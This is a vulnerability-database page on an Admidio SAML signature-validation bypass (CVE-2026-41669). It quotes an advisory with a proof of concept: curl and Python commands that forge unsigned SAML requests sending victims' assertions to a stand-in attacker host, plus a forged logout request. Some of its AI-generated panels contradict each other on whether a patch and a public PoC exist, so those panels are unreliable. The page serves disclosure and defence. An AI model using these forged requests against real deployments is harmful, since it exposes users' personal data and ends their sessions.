Skip to main content

Admidio EUVDEUVD-2026-28279

| CVE-2026-41669 HIGH
Improper Verification of Cryptographic Signature (CWE-347)
2026-04-29 https://github.com/Admidio/admidio GHSA-25cw-98hg-g3cg
8.2
CVSS 3.1 · GitHub Advisory
View

Attack ChainAIDerived

Hypothetical attack flow derived from CVE metadata – not a confirmed exploit chain

  1. Recon
    Reconnaissance: identify SAML-enabled Admidio instance
  2. Delivery
    Craft unsigned AuthnRequest with attacker ACS URL
  3. Exploit
    Social engineering: deliver malicious link to authenticated victim
  4. Install
    Victim's browser sends forged request to Admidio
  5. C2
    Signature validation bypassed (return value discarded)
  6. Execute
    SAML assertion generated with victim's attributes
  7. Impact
    Redirect to attacker-controlled endpoint
  8. Step 8
    Exfiltrate victim PII

Vulnerability Assessment

Weakness
CWE
OWASP Top 10:2025
A04:2025 - Cryptographic Failures
ASVS 5.0
V11 - Cryptography Signature verification
Exploitation Conditions

SAML SSO module must be enabled in Admidio configuration (sso_saml_enabled=1 setting). At least one SAML Service Provider client must be registered in the system with a known entity ID that attackers can impersonate - this client configuration is visible to authenticated users or may be enumerated via error messages. For the SSO attribute disclosure attack path, the victim must have an active authenticated session in Admidio at the time they are tricked into visiting the attacker's forged SAML request URL (PR:N in CVSS vector is misleading - practical exploitation requires victim authentication state, making this effectively PR:L with required user interaction UI:R via social engineering). For the Single Logout attack path, victim session presence is required to terminate it. The vulnerability is exploitable via HTTP GET requests using SAML HTTP-Redirect binding, which bypasses SameSite=Lax cookie protections since the malicious request originates from cross-site navigation. No special server configuration beyond SAML feature enablement is required - default Admidio SAML installations with signature enforcement enabled (smc_require_auth_signed=true) are fully vulnerable, making this a default-configuration issue. The vulnerability does NOT require: attacker authentication to Admidio, privileged accounts, specific PHP versions, or non-default application settings beyond SAML being enabled. Limiting factors: attack requires knowledge of registered SP entity IDs (may require reconnaissance or insider knowledge), victim must be authenticated during attack window, and SSO path requires user to follow attacker link (UI:R).

Impact

Real-world risk is high for deployments using SAML federation with signature enforcement enabled. The CVSS vector (AV:N/AC:L/PR:N/UI:N) indicates network-accessible exploitation with low complexity and no authentication required, yielding a base score of 8.2 (High). However, this vector requires nuance: while invoking the vulnerable code paths requires no authentication to the Admidio instance, the SSO exploitation scenario (user attribute disclosure) only succeeds if the victim has an active session - effectively requiring UI:R (user interaction via social engineering to visit attacker link while logged in) rather than UI:N. The SLO path can terminate sessions without this constraint. EPSS data not provided. No CISA KEV listing, indicating no confirmed widespread exploitation, but publicly available PoC exists in the GitHub advisory (GHSA-25cw-98hg-g3cg), significantly lowering exploitation barrier. The vulnerability completely negates the smc_require_auth_signed security control, creating a false sense of security for administrators who enabled this setting specifically to prevent forged SAML requests. Impact is confidentiality breach (personal identifiable information disclosure including email, real names, role memberships) and availability impact (forced logout/session termination). Integrity impact is limited to redirect manipulation. The tags indicate applicability to JWT attack patterns (though this is SAML-specific), CSRF-style social engineering vectors, and denial-of-service via forced logout. SSVC assessment: exploitation is publicly available (PoC), automatable (simple HTTP requests), technical impact is partial (data exfiltration limited to logged-in user's attributes, not full database compromise). Priority should be IMMEDIATE for any Admidio deployment using SAML SSO in production, particularly those federating with external Service Providers or handling sensitive user data. The vulnerability is 100% reliable when signature enforcement is configured, making it a high-confidence target for attackers once they identify Admidio SAML deployments.

Exploit ScenarioDerived

An attacker identifies an Admidio instance with SAML SSO enabled by probing the /adm_program/modules/sso/index.php endpoint. They craft an unsigned SAML AuthnRequest impersonating a legitimate registered Service Provider's entity ID but specify an attacker-controlled AssertionConsumerServiceURL (e.g., https://attacker.example.com/collect). The attacker delivers this forged request to a logged-in Admidio user via social engineering (phishing email, malicious forum post, or CSRF-style embedded image redirect). When the victim's browser follows the malicious link while authenticated to Admidio, the application processes the unsigned request, generates a valid SAML assertion containing the victim's username, email address, real name, and group memberships, and redirects it to the attacker's endpoint. The attacker now possesses the victim's PII and can impersonate them on federated systems. Alternatively, for session termination, the attacker forges a LogoutRequest and tricks the victim into visiting it, immediately ending their Admidio session and cascading logout across all federated Service Providers, causing targeted denial of service. The attack requires only HTTP GET requests and is fully demonstrated in the public proof-of-concept code provided in the GitHub advisory.

This Week Schedule remediation this week. Why: HIGH severity (CVSS 7.0-8.9).
Patch available 0.0% exploitation probability (EPSS)

Get an e-mail when this CVE is exploited, patched or re-scored. Free account.

Alert me

AnalysisAIv1 – Apr 29, 2026

SAML signature validation in Admidio's Identity Provider implementation can be completely bypassed due to discarded return values in authentication flows. The validateSignature() method returns error strings on failure but both call sites (SSO and Single Logout handlers) discard the return value, allowing unsigned or invalidly-signed SAML requests to proceed. Attackers can forge AuthnRequests to exfiltrate logged-in users' personal data (username, email, real name, role memberships) to attacker-controlled endpoints, or forge LogoutRequests to terminate victim sessions and cascade logout across federated Service Providers. The smc_require_auth_signed configuration setting provides no protection. Public exploit code exists (PoC in GitHub advisory). CVSS 8.2 reflects network-accessible attack with no authentication required, though practical exploitation of the SSO path requires victim to have an active session. No active exploitation confirmed at time of analysis.

RemediationAI

Upgrade immediately to Admidio version 5.0.9, which fixes the signature validation enforcement. The patch modifies both call sites in SAMLService.php to check the validateSignature() return value and throw exceptions when validation fails (when the return value is a string error message rather than boolean true/false). Download from the official GitHub release at https://github.com/Admidio/admidio/releases/tag/v5.0.9 or update via Composer with 'composer require admidio/admidio:^5.0.9'. If immediate patching is not possible, implement these compensating controls with noted trade-offs: (1) Disable SAML SSO entirely by setting sso_saml_enabled=0 in configuration - this breaks all federated authentication workflows but eliminates the attack surface. (2) Implement web application firewall rules to block SAML requests without valid Signature or SigAlg query parameters in the HTTP-Redirect binding, and reject HTTP-POST requests lacking ds:Signature elements in the XML payload - this is bypassable if attackers craft signatures that fail cryptographic validation but pass WAF pattern matching, and requires deep XML inspection capabilities. (3) Restrict access to /adm_program/modules/sso/index.php to trusted IP ranges using web server ACLs - this prevents external attackers from invoking SAML endpoints but does not protect against internal threats or users on trusted networks. After patching, verify the fix by testing that unsigned SAML requests are properly rejected when smc_require_auth_signed is enabled, and review audit logs for any suspicious SAML activity during the vulnerable period. The GitHub advisory at https://github.com/Admidio/admidio/security/advisories/GHSA-25cw-98hg-g3cg provides additional technical guidance and detection strategies.

Affected VersionsENISA

admidio < 5.0.9

Affected Packages

composer admidio/admidio fix: 5.0.9
euvd admidio fix: 5.0.9

Source: OSV (Open Source Vulnerabilities)

Affects your stack

Affects 2 packages in composer, euvd

Checking this CVE against your own stacks and servers is part of the Basic plan and up.

Technical ContextAI · show details

This vulnerability affects Admidio's SAML 2.0 Identity Provider implementation in the SSO module (src/SSO/Service/SAMLService.php). SAML relies on XML digital signatures to authenticate federation messages and prevent tampering. The validateSignature() method is designed to verify X.509 certificate-based signatures on SAML AuthnRequests and LogoutRequests using the Service Provider's registered public key. However, the method uses a mixed return type (bool|string) - returning true on success, false when signatures are optional and missing, and localized error message strings on validation failures. The developers incorrectly assumed the method would throw exceptions (documented in code comments on lines 416 and 611), so both invocations in handleSSORequest() and handleSLORequest() call the method without capturing or checking its return value. This is a classic example of CWE-347 (Improper Verification of Cryptographic Signature) where the signature verification mechanism exists but its result is ignored. The affected component processes SAML HTTP-Redirect and HTTP-POST bindings via modules/sso/index.php, which routes directly to these handlers without requiring prior authentication to invoke signature validation - though successful SSO attribute release does require the victim to have an active Admidio session. The Composer package identifier is pkg:composer/admidio/admidio.

Know when PHP gets its next vulnerability

  • Watch products and get an email when something new is published
  • Check this CVE against your own stack and servers
  • Exploit and PoC references, threat intelligence from 22 sources

No credit card · 7-day full trial

Severity by source

GitHub Advisory PRIMARY 8.2 HIGH
AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:H/A:N

Primary rating from GitHub Advisory · only source for this CVE.

CVSS VectorGitHub Advisory

Attack Vector
Network
Attack Complexity
Low
Privileges Required
None
User Interaction
None
Scope
Unchanged
Confidentiality
Low
Integrity
High
Availability
None

DescriptionGitHub Advisory

Summary

The Admidio SAML Identity Provider implementation discards the return value of its validateSignature() method at both call sites (handleSSORequest() line 418 and handleSLORequest() line 613). The method returns error strings on failure rather than throwing exceptions, but the developer believed it would throw (per comments on lines 416 and 611). This means the smc_require_auth_signed configuration option is completely ineffective - unsigned or invalidly-signed SAML AuthnRequests and LogoutRequests are processed identically to properly signed ones.

Details

The validateSignature() method at src/SSO/Service/SAMLService.php:355 has three possible return paths:

php
// Line 355-392
public function validateSignature(SAMLClient $client, SamlMessage $message, bool $required = false): bool|string {
    global $gL10n;
    $certPem = $client->getValue('smc_x509_certificate');
    if (!$certPem) {
        if ($required) {
            return $gL10n->get('SYS_SSO_SAML_SIGNATURE_KEY_MISSING'); // Returns STRING, not throw
        } else {
            return false;
        }
    }
    // ...
    $signatureReader = $message->getSignature();
    if (is_null($signatureReader)) {
        if ($required) {
            return $gL10n->get('SYS_SSO_SAML_SIGNATURE_MISSING'); // Returns STRING, not throw
        } else {
            return false;
        }
    }
    try {
        $ok = $signatureReader->validate($key);
        if ($ok) {
            return true;
        } else {
            return $gL10n->get('SYS_SSO_SAML_SIGNATURE_FAILED'); // Returns STRING, not throw
        }
    } catch (Exception $ex) {
        return $gL10n->get('SYS_SSO_SAML_SIGNATURE_FAILED'); // Returns STRING, not throw
    }
}

Both call sites discard the return value entirely:

php
// Line 416-419 in handleSSORequest()
// Validate signatures. Will throw an exception    <-- INCORRECT COMMENT
if ($client->getValue('smc_require_auth_signed') || $client->getValue('smc_validate_signatures')) {
    $this->validateSignature($client, $request, $client->getValue('smc_require_auth_signed'));
    // Return value discarded - execution continues regardless of validation result
}

// Line 611-614 in handleSLORequest()
// Validate signatures. Will throw an exception    <-- INCORRECT COMMENT
if ($client->getValue('smc_require_auth_signed') || $client->getValue('smc_validate_signatures')) {
    $this->validateSignature($client, $request, $client->getValue('smc_require_auth_signed'));
    // Return value discarded - execution continues regardless of validation result
}

SSO exploitation path (for already-logged-in users):

  1. modules/sso/index.php:92 routes to handleSSORequest()
  2. Line 403: receiveMessage() parses SAML binding directly from HTTP GET/POST - no authentication required
  3. Line 408-409: Entity ID extracted from the forged request's Issuer element, client config loaded
  4. Line 417-419: Signature validation called but return value discarded - flow continues
  5. Line 421: $gValidLogin is true for logged-in users, so login form is skipped
  6. Lines 438-580: SAML Response built with user's real attributes (login, name, email, roles) and sent to the AssertionConsumerServiceURL from the forged request

SLO exploitation path:

  1. modules/sso/index.php:94 routes to handleSLORequest()
  2. Line 613: Signature validation discarded
  3. Lines 621-629: User's session is deleted from the database and $gCurrentSession->logout() is called

PoC

bash
# Prerequisites:
# - Admidio instance with SAML SSO enabled (sso_saml_enabled=1)
# - At least one registered SAML SP client with smc_require_auth_signed=true
# - A user with an active session (e.g., admin browsing the Admidio panel)
# 1. Generate an unsigned AuthnRequest impersonating a registered SP:
AUTHN_REQUEST=$(python3 -c "
import base64, zlib
req = '<samlp:AuthnRequest xmlns:samlp=\"urn:oasis:names:tc:SAML:2.0:protocol\" xmlns:saml=\"urn:oasis:names:tc:SAML:2.0:assertion\" ID=\"_fake123\" Version=\"2.0\" IssueInstant=\"2026-03-27T00:00:00Z\" AssertionConsumerServiceURL=\"https://attacker.example.com/acs\"><saml:Issuer>https://legitimate-sp.example.com/entity-id</saml:Issuer></samlp:AuthnRequest>'
print(base64.b64encode(zlib.compress(req.encode())[2:-4]).decode())
")
# 2. Send the unsigned request via HTTP-Redirect binding (GET):
# If a logged-in user's browser follows this link (e.g., via CSRF/social engineering),
# Admidio generates a signed SAML assertion with the user's PII and sends it
# to the attacker-controlled ACS URL.
curl -v "https://admidio.example.org/adm_program/modules/sso/index.php/saml/sso?SAMLRequest=${AUTHN_REQUEST}" \
  -b 'PHPSESSID=VICTIM_SESSION_COOKIE'
# Expected: Despite smc_require_auth_signed=true, the unsigned request is processed.
# The response contains a SAML assertion with the victim's attributes.
# 3. For SLO - forge a LogoutRequest to terminate a victim's session:
LOGOUT_REQUEST=$(python3 -c "
import base64, zlib
req = '<samlp:LogoutRequest xmlns:samlp=\"urn:oasis:names:tc:SAML:2.0:protocol\" xmlns:saml=\"urn:oasis:names:tc:SAML:2.0:assertion\" ID=\"_fake456\" Version=\"2.0\" IssueInstant=\"2026-03-27T00:00:00Z\"><saml:Issuer>https://legitimate-sp.example.com/entity-id</saml:Issuer><saml:NameID>victim@example.com</saml:NameID></samlp:LogoutRequest>'
print(base64.b64encode(zlib.compress(req.encode())[2:-4]).decode())
")

curl -v "https://admidio.example.org/adm_program/modules/sso/index.php/saml/slo?SAMLRequest=${LOGOUT_REQUEST}" \
  -b 'PHPSESSID=VICTIM_SESSION_COOKIE'
# Expected: Victim's session is terminated, logout cascaded to all registered SPs.

Impact

  • Signature enforcement bypass: The smc_require_auth_signed setting is entirely ineffective. Administrators who enable this setting believing it protects against forged requests have a false sense of security.
  • User attribute disclosure (SSO): When combined with the ability to specify an arbitrary AssertionConsumerServiceURL, an attacker can redirect a logged-in user's SAML assertion (containing login name, email, real name, role memberships) to an attacker-controlled endpoint.
  • Session termination (SLO): An attacker can forge LogoutRequests to terminate any user's Admidio session and trigger cascading single logout across all registered Service Providers, causing denial of service for targeted users.
  • Amplifies ACS URL injection: The signature requirement was the primary defense against unvalidated ACS URLs in AuthnRequests. Without signature enforcement, the ACS redirect becomes trivially exploitable via GET redirect binding (which bypasses SameSite=Lax cookie restrictions).

Recommended Fix

Check the return value of validateSignature() and throw on failure. In src/SSO/Service/SAMLService.php, fix both call sites:

php
// In handleSSORequest(), replace lines 416-419:
// Validate signatures
if ($client->getValue('smc_require_auth_signed') || $client->getValue('smc_validate_signatures')) {
    $result = $this->validateSignature($client, $request, (bool)$client->getValue('smc_require_auth_signed'));
    if ($result !== true && $result !== false) {
        // $result is an error message string - validation failed
        throw new Exception($result);
    }
}

// In handleSLORequest(), replace lines 611-614 with the same pattern:
if ($client->getValue('smc_require_auth_signed') || $client->getValue('smc_validate_signatures')) {
    $result = $this->validateSignature($client, $request, (bool)$client->getValue('smc_require_auth_signed'));
    if ($result !== true && $result !== false) {
        throw new Exception($result);
    }
}

Alternatively, refactor validateSignature() to throw exceptions on failure (matching the developer's original intent as documented in the comments), which would make both call sites correct as-is:

php
public function validateSignature(SAMLClient $client, SamlMessage $message, bool $required = false): bool {
    global $gL10n;
    $certPem = $client->getValue('smc_x509_certificate');
    if (!$certPem) {
        if ($required) {
            throw new Exception($gL10n->get('SYS_SSO_SAML_SIGNATURE_KEY_MISSING'));
        }
        return false;
    }
    // ... (same cert loading logic) ...
    $signatureReader = $message->getSignature();
    if (is_null($signatureReader)) {
        if ($required) {
            throw new Exception($gL10n->get('SYS_SSO_SAML_SIGNATURE_MISSING'));
        }
        return false;
    }
    try {
        if (!$signatureReader->validate($key)) {
            throw new Exception($gL10n->get('SYS_SSO_SAML_SIGNATURE_FAILED'));
        }
        return true;
    } catch (Exception $ex) {
        throw new Exception($gL10n->get('SYS_SSO_SAML_SIGNATURE_FAILED'));
    }
}

Executive ViewAI

Why It Matters

Admidio's SAML identity provider implementation contains a critical authentication bypass in signature validation that allows unauthenticated attackers to forge identity requests, exfiltrate user personal data and role information, or terminate user sessions across federated applications. Organizations relying on Admidio for federated authentication face immediate risk of unauthorized access to user credentials and session hijacking with no vendor patch currently available.

Business Impact: Severe
Compensating Controls

No vendor-released patch identified at time of analysis. Interim mitigations: (1) Implement Web Application Firewall rules to block SAML requests with missing or invalid signatures at network boundary; (2) Restrict SAML endpoint access via IP whitelist to pre-approved Service Providers only; (3) Disable SAML Single Sign-On functionality entirely if alternative authentication methods exist; (4) Implement real-time session monitoring to detect and terminate anomalous logout requests; (5) Force re-authentication for sensitive operations (data export, role changes) regardless of SAML session state.

Threat Intelligence Overview

EPSS Score
0.0%
Top 95% exploitable
Threat Intel
1
1 source
Data Quality
5 sources
Confidence: Medium

How this decision was reached

The engine reads each signal below and applies a fixed list of rules from top to bottom. The first rule that matches sets the recommended action – like a statement, every line is shown.

SignalValue
Severity HIGH
CISA KEV No
Public POC No
EPSS 0.0%
Patch available Yes
Active threat No
Deciding rule
HIGH severity (CVSS 7.0-8.9)
What every action level means
Emergency Immediate action required. Criteria: CRITICAL + in CISA KEV (actively exploited) without patch, OR CRITICAL + EPSS > 30% without patch, OR CRITICAL + active threat signals without patch.
Act Now Prioritize within 24-48h. Criteria: in KEV with patch available, OR CRITICAL + public POC, OR HIGH + EPSS > 10%, OR CRITICAL + active threat, OR any CRITICAL severity.
This Week Schedule remediation this week. Criteria: HIGH severity (CVSS 7.0-8.9). Patch within normal change window.
This Month Plan within 30 days. Criteria: MEDIUM severity (CVSS 4.0-6.9), lower exploitation probability. Include in regular patch cycle.
Monitor Track and reassess. Criteria: LOW severity (CVSS 0.1-3.9), minimal exploitation risk. No immediate action needed.

SSVC AssessmentENISA

SSVC Decision· derived
Out-of-Cycle
Exploitation· derived
None
System Exposure· derived
Open
Automatable· derived
Yes
Human Impact
Very High

Priority Score

41
Low Medium High Critical
KEV: 0
EPSS: 0
CVSS: +41
PoC: 0
Weaponized: 0
Threat intel: 0
Gov advisory: 0

Attack Technique

Cross-Site Request Forgery exploits the automatic credential inclusion behavior of web browsers.

Denial of Service attacks render applications or systems unavailable by overwhelming resources or triggering failure conditions.

More in PHP

View all
CVE-2019-11043 CRITICAL POC
9.8 Oct 28

In PHP versions 7.1.x below 7.1.33, 7.2.x below 7.2.24 and 7.3.x below 7.3.11 in certain configurations of FPM setup it

CVE-2012-1823 CRITICAL POC
9.8 May 11

sapi/cgi/cgi_main.c in PHP before 5.3.12 and 5.4.x before 5.4.2, when configured as a CGI script (aka php-cgi), does not

CVE-2016-1555 CRITICAL POC
9.8 Apr 21

(1) boardData102.php, (2) boardData103.php, (3) boardDataJP.php, (4) boardDataNA.php, and (5) boardDataWW.php in Netgear

CVE-2018-11138 CRITICAL POC
9.8 May 31

The '/common/download_agent_installer.php' script in the Quest KACE System Management Appliance 8.0.318 is accessible by

CVE-2024-11680 CRITICAL POC
9.8 Nov 26

ProjectSend versions prior to r1720 are affected by an improper authentication vulnerability. Rated critical severity (C

CVE-2025-49113 CRITICAL POC
9.9 Jun 02

Roundcube Webmail contains a critical PHP object deserialization vulnerability (CVE-2025-49113, CVSS 9.9) that allows au

CVE-2017-9841 CRITICAL POC
9.8 Jun 27

Util/PHP/eval-stdin.php in PHPUnit before 4.8.28 and 5.x before 5.6.3 allows remote attackers to execute arbitrary PHP c

CVE-2025-0108 HIGH POC
8.8 Feb 12

Palo Alto Networks PAN-OS management web interface contains an authentication bypass allowing unauthenticated attackers

CVE-2021-25298 HIGH POC
8.8 Feb 15

Nagios XI version xi-5.7.5 is affected by OS command injection. Rated high severity (CVSS 8.8), this vulnerability is re

CVE-2021-25296 HIGH POC
8.8 Feb 15

Nagios XI version xi-5.7.5 is affected by OS command injection. Rated high severity (CVSS 8.8), this vulnerability is re

CVE-2013-4983 CRITICAL POC
10.0 Sep 10

The get_referers function in /opt/ws/bin/sblistpack in Sophos Web Appliance before 3.7.9.1 and 3.8 before 3.8.1.1 allows

CVE-2023-6553 CRITICAL POC
9.8 Dec 15

The Backup Migration plugin for WordPress is vulnerable to Remote Code Execution in all versions up to, and including, 1

This site uses cookies essential for authentication and security. No tracking or analytics cookies are used. Privacy Policy